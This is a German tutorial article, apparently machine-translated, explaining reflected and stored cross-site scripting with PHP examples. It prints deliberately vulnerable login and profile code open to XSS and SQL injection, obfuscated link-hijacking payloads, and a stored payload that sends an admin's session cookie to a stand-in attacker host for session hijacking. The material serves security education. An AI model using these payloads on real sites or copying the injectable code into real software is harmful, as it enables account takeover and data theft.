Im vorherigen Artikel dieser Serie haben wir erklärt, wie Sie SQL-Injection-Angriffe verhindern können. In diesem Artikel sehen wir eine andere Art von Angriff namens XXS-Angriffe.
XSS steht für Cross Site Scripting.
XSS ist der SQL-Injection sehr ähnlich. In SQL-Injection haben wir die Schwachstelle ausgenutzt, indem wir SQL-Abfragen als Benutzereingaben eingeschleust haben. In XSS injizieren wir Code (im Wesentlichen clientseitiges Scripting) in den Remote-Server.
Arten von Cross-Site-Scripting
XSS-Angriffe werden grob in zwei Typen eingeteilt:
- Nicht persistent
- Beständig
1. Nicht dauerhafter XSS-Angriff
Im Falle eines nicht dauerhaften Angriffs muss ein Benutzer den speziell gestalteten Link des Angreifers besuchen. Wenn der Benutzer den Link besucht, wird der gestaltete Code vom Browser des Benutzers ausgeführt. Lassen Sie uns diesen Angriff anhand eines Beispiels besser verstehen.
Beispiel für nicht persistentes XSS
index.php:
<?php $name = $_GET['name']; echo "Welcome $name<br>"; echo "<a href="http://xssattackexamples.com/">Click to Download</a>"; ?>
Beispiel 1:
Jetzt erstellt der Angreifer eine URL wie folgt und sendet sie an das Opfer:
index.php?name=guest<script>alert('attacked')</script>
Wenn das Opfer die obige URL in den Browser lädt, sieht es ein Warnfeld mit der Aufschrift „Angegriffen“. Auch wenn dieses Beispiel keinen Schaden anrichtet, außer dem lästigen Pop-up „Attacked“, können Sie sehen, wie ein Angreifer diese Methode verwenden kann, um mehrere schädliche Dinge zu tun.
Beispiel 2:
So kann der Angreifer nun beispielsweise versuchen, die „Ziel-URL“ des Links „Click to Download“ zu ändern. Anstatt den Link zur Website „xssattackexamples.com“ zu führen, kann er ihn zu „not-real-xssattackexamples.com“ umleiten, indem er die URL wie unten gezeigt erstellt:
index.php?name=<script>window.onload = function() {var link=document.getElementsByTagName("a");link[0].href="http://not-real-xssattackexamples.com/";}</script>
Oben haben wir die Funktion aufgerufen, die auf „window.onload“ ausgeführt werden soll. Weil die Website (also index.php) zuerst den gegebenen Namen wiedergibt und dann erst das -Tag zeichnet. Wenn wir also direkt wie unten gezeigt schreiben, wird es nicht funktionieren, weil diese Anweisungen ausgeführt werden, bevor das -Tag ausgegeben wird
index.php?name=<script>var link=document.getElementsByTagName("a");link[0].href="http://not-real-xssattackexamples.com"</script>
Normalerweise neigt ein Angreifer dazu, die URL nicht zu erstellen, die ein Mensch direkt lesen kann. Also wird er die ASCII-Zeichen wie folgt in Hex kodieren.
index.php?name=%3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%76%61%72%20%6c%69%6e%6b%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%22%61%22%29%3b%6c%69%6e%6b%5b%30%5d%2e%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%61%74%74%61%63%6b%65%72%2d%73%69%74%65%2e%63%6f%6d%2f%22%3b%7d%3c%2f%73%63%72%69%70%74%3e
was dasselbe ist wie:
index.php?name=<script>window.onload = function() {var link=document.getElementsByTagName("a");link[0].href="http://not-real-xssattackexamples.com/";}</script>
Jetzt weiß das Opfer möglicherweise nicht, was es ist, weil es direkt nicht verstehen kann, dass die URL manipuliert ist, und es besteht eine größere Chance, dass es die URL besuchen kann.
2. Beständiger XSS-Angriff
Im Falle eines anhaltenden Angriffs wird der vom Angreifer eingeschleuste Code auf einem sekundären Speichergerät (meistens in einer Datenbank) gespeichert. Der durch den beständigen Angriff verursachte Schaden ist größer als der nicht beständige Angriff. Hier werden wir sehen, wie man die Sitzung eines anderen Benutzers entführt, indem man XSS ausführt.
Sitzung
Das HTTP-Protokoll ist ein zustandsloses Protokoll, was bedeutet, dass es keinen Zustand in Bezug auf Anfrage und Antwort beibehält. Alle Anfragen und Antworten sind voneinander unabhängig. Die meisten Webanwendungen benötigen dies jedoch nicht. Sobald sich der Benutzer authentifiziert hat, sollte der Webserver bei der nächsten Anfrage des Benutzers nicht nach Benutzername/Passwort fragen. Dazu müssen sie eine Art Status zwischen dem Webbrowser und dem Webserver aufrechterhalten, was durch die „Sitzungen“ erfolgt.
Wenn sich der Benutzer zum ersten Mal anmeldet, wird vom Webserver eine Sitzungs-ID erstellt und als „Cookie“ an den Webbrowser gesendet. Alle nachfolgenden Anfragen an den Webserver basieren auf der „Sitzungs-ID“ im Cookie.
Beispiele für anhaltende XSS-Angriffe
Diese Beispiel-Webanwendung, die wir unten angegeben haben und die den persistenten XSS-Angriff demonstriert, macht Folgendes:
- Es gibt zwei Arten von Benutzern:„Admin“ und „normale“ Benutzer.
- Wenn sich „Admin“ anmeldet, kann er die Liste der Benutzernamen sehen. Wenn sich „normale“ Benutzer anmelden, können sie nur ihren Anzeigenamen aktualisieren.
login.php:
<?php $Host= '192.168.1.8'; $Dbname= 'app'; $User= 'yyy'; $Password= 'xxx'; $Schema = 'test'; $Conection_string="host=$Host dbname=$Dbname user=$User password=$Password"; /* Connect with database asking for a new connection*/ $Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW); /* Error checking the connection string */ if (!$Connect) { echo "Database Connection Failure"; exit; } $query="SELECT user_name,password from $Schema.members where user_name='".$_POST['user_name']."';"; $result=pg_query($Connect,$query); $row=pg_fetch_array($result,NULL,PGSQL_ASSOC); $user_pass = md5($_POST['pass_word']); $user_name = $row['user_name']; if(strcmp($user_pass,$row['password'])!=0) { echo "Login failed"; } else { # Start the session session_start(); $_SESSION['USER_NAME'] = $user_name; echo "<head> <meta http-equiv=\"Refresh\" content=\"0;url=home.php\" > </head>"; } ?>
home.php:
<?php session_start(); if(!$_SESSION['USER_NAME']) { echo "Need to login"; } else { $Host= '192.168.1.8'; $Dbname= 'app'; $User= 'yyy'; $Password= 'xxx'; $Schema = 'test'; $Conection_string="host=$Host dbname=$Dbname user=$User password=$Password"; $Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW); if($_SERVER['REQUEST_METHOD'] == "POST") { $query="update $Schema.members set display_name='".$_POST['disp_name']."' where user_name='".$_SESSION['USER_NAME']."';"; pg_query($Connect,$query); echo "Update Success"; } else { if(strcmp($_SESSION['USER_NAME'],'admin')==0) { echo "Welcome admin<br><hr>"; echo "List of user's are<br>"; $query = "select display_name from $Schema.members where user_name!='admin'"; $res = pg_query($Connect,$query); while($row=pg_fetch_array($res,NULL,PGSQL_ASSOC)) { echo "$row[display_name]<br>"; } } else { echo "<form name=\"tgs\" id=\"tgs\" method=\"post\" action=\"home.php\">"; echo "Update display name:<input type=\"text\" id=\"disp_name\" name=\"disp_name\" value=\"\">"; echo "<input type=\"submit\" value=\"Update\">"; } } } ?>
Nun meldet sich der Angreifer als normaler Benutzer an und gibt als Anzeigenamen in das Textfeld Folgendes ein:
<a href=# onclick=\"document.location=\'http://not-real-xssattackexamples.com/xss.php?c=\'+escape\(document.cookie\)\;\">My Name</a>
Die oben vom Angreifer eingegebenen Informationen werden in der Datenbank gespeichert (persistent).
Wenn sich der Administrator jetzt beim System anmeldet, sieht er einen Link mit dem Namen „Mein Name“ zusammen mit anderen Benutzernamen. Wenn der Administrator auf den Link klickt, sendet er das Cookie mit der Sitzungs-ID an die Website des Angreifers. Jetzt kann der Angreifer unter Verwendung dieser Sitzungs-ID eine Anfrage an den Webserver senden und sich wie „Admin“ verhalten, bis die Sitzung abgelaufen ist. Die Cookie-Informationen sehen in etwa so aus:
xss.php?c=PHPSESSID%3Dvmcsjsgear6gsogpu7o2imr9f3
Sobald der Hacker die PHPSESSID kennt, kann er diese Sitzung verwenden, um die Administratorrechte zu erhalten, bis die PHPSESSID abläuft.
Um dies besser zu verstehen, können wir ein Firefox-Addon namens „Tamper Data“ verwenden, mit dem ein neuer HTTP-Header namens „Cookies“ hinzugefügt und der Wert auf „PHPSESSID=vmcsjsgear6gsogpu7o2imr9f3“ gesetzt werden kann.
Wir werden in einem zukünftigen Artikel dieser Serie behandeln, wie man „Daten manipulieren“ verwendet.